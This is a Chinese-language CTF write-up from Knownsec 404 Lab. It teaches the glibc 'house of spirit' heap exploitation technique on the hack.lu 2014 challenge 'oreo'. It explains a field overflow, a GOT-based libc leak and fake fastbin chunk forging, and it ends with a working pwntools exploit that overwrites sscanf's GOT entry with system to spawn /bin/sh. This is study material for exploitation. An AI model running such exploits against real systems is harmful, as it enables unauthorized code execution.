PWN學習之house of系列(一)
作者:Hcamael@知道創宇404實驗室
發表時間:2018年1月31日
準備一份house of系列的學習博文,在how2heap上包括下面這些:
- house of spirit
- house_of_force
- house_of_einherjar
- house_of_orange
- house_of_lore
house of spirit
house of spirit是fastbin的一種利用方法,利用demo可參考: https://github.com/shellphish/how2heap/blob/master/house_of_spirit.c
我通過具體的CTF PWN題目來學習該利用方法,題目見:
這題是hack.lu 2014 ctf的一道400分的32位下的PWN題,這題原本是沒有給libc的,但是我搜了下網上這題的writeup,不需要libc有兩種方法,一種是假設伺服器上用的是最新版的libc,然後從各個發行版的系統找libc,一個一個試,另一種是使用ret2dl-resolve,這個利用方法我準備單獨寫一篇博文來說,而本文主要是學習house of spirit,所以就用本地的libc,假設已知libc。
漏洞點很簡單,首先要能看出一個結構體:
struct rifle { char descript[0x19] char name[0x1b] char *pre_add }
然後在sub_8048644
函式中,大致邏輯如下:
add() { rifles *v1; unsigned int v2; v1 = rifle; rifle = (rifles *)malloc(0x38u); if ( rifle ) { rifle->pre_add = (int)v1; printf("Rifle name: "); fgets(rifle->name, 56, stdin); str_deal(rifle->name); printf("Rifle description: "); fgets(rifle->descript, 56, stdin); str_deal(rifle->descript); ++rifle_num; } else { puts("Something terrible happened!"); }
結構體中name
的長度只有0x1b,但是卻能輸入56長度的字串,所以可以把後面的pre_add
覆蓋,或者把下一個堆進行覆蓋
洩露記憶體
因為libc已知,程式沒開PIE,所以只需要洩露libc地址,然後算出libc基地址
記憶體洩露利用的是sub_8048729
函式,該函式的大致邏輯如下:
show_rifles()
{
rifles *i;
unsigned int v2;
printf("Rifle to be ordered:n%sn", "===================================");
for ( i = rifle; i; i = (rifles *)i->pre_add )
{
printf("Name: %sn", i->name);
printf("Description: %sn", i);
puts("===================================");
}
}
rifle->pre_add
是可控的,把rifle->pre_add = 0x804A258-25
設定為sscanf的got表地址減去25,這樣Name輸出的就是sscanf_got
的值,並且sscanf_got->pre_add
的值為0,能讓該程式繼續執行而不報錯
得到sscanf_got
的值後,可以通過libc的偏移算出libc的基地址
使用house_of_spirit進行任意地址寫
house of spirit簡單的來說就是free一個假的fastbin堆塊,然後再下次malloc的時候就會返回該假堆塊
所以第一步是要構造假的堆塊,在該程式中,只有一個malloc(0x38)
,所以要構造一個size=0x41
的堆塊,在.bss_804A2A0
地址的order_num
,和.bss_804A2A4
的rifle_num
,一個是在free的時候自增1,一個是在rifle add的時候自增1,所以只要add 0x41次rifle,就能把rifle_num設定為0x41
chunk的size位偽造好了,現在是bypass libc對free fastbin的check,主要是會對下一個chunk的size進行check,所以不僅要偽造當前check的size,還要偽造下一個chunk的size
下一個chunk的地址是0x804A2A4+0x40=0x804a2e4
,該地址是儲存notice
的地址,屬於可控區域,程式碼如下:
information = (char *)&unk_804A2C0;
leave()
{
unsigned int v0;
printf("Enter any notice you'd like to submit with your order: ");
fgets(information, 128, stdin);
str_deal(information);
}
假堆塊構造完成了,free了之後0x804A2A0
將會加入到fastbin中,在下一次add rifle的時候malloc會返回該地址,所以0x804A2A4
往下的變數都可控,這個時候我們能修改information
的值,然後在leave
函式會向information
指向的地址寫入值
這樣就達到了任意地址寫的目的
最終利用
能做到任意地址寫,下面就很簡單了,方法有很多,我使用的是重寫sscanf_got
地址的值為計算出的system
地址
int read_action()
{
int v1;
char s;
unsigned int v3;
do
{
printf("Action: ");
fgets(&s, 32, stdin);
}
while ( !__isoc99_sscanf(&s, "%u", &v1) );
return v1;
}
當輸入了/bin/sh
之後,會賦值給變數s
,然後傳給sscanf
,這時候sscanf_got
的值已經被改成了system的值,所以實際執行的是system("/bin/sh")
最終達成getshell的目的,payload如下:
#!/usr/bin/env python
# -*- coding=utf-8 -*-
from pwn import *
context.log_level = "debug"
def add(name, descrip):
p.readuntil("Action:")
p.sendline("1")
p.readuntil("name:")
p.sendline(name)
p.readuntil("description:")
p.sendline(descrip)
def show_rifles():
p.readuntil("Action:")
p.sendline("2")
p.readuntil("Name: ")
p.readuntil("Name: ")
return u32(p.read(4))
def free():
p.readuntil("Action:")
p.sendline("3")
def leave(message):
p.readuntil("Action:")
p.sendline("4")
p.readuntil("order: ")
p.sendline(message)
sscanf_got = 0x804A258
fake_heap = 0x804A2A0
system_offset = 0x3ada0
p = process("oreo_35f118d90a7790bbd1eb6d4549993ef0", stdin=PTY)
name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)
add(name_payload1, "hhh")
sscanf = show_rifles()
libc_base = sscanf - 0x5c4c0
for x in xrange(0x40-1):
add("mm", "gg")
name_payload2 = "aaa" + "bbbb"*6 + p32(fake_heap+8)
add(name_payload2, "uuu")
message_payload = "x00x00x00x00"*9 + p32(0x41)
leave(message_payload)
# raw_input()
free()
# raw_input()
add("name", p32(sscanf_got))
leave(p32(libc_base+system_offset))
p.sendline("/bin/sh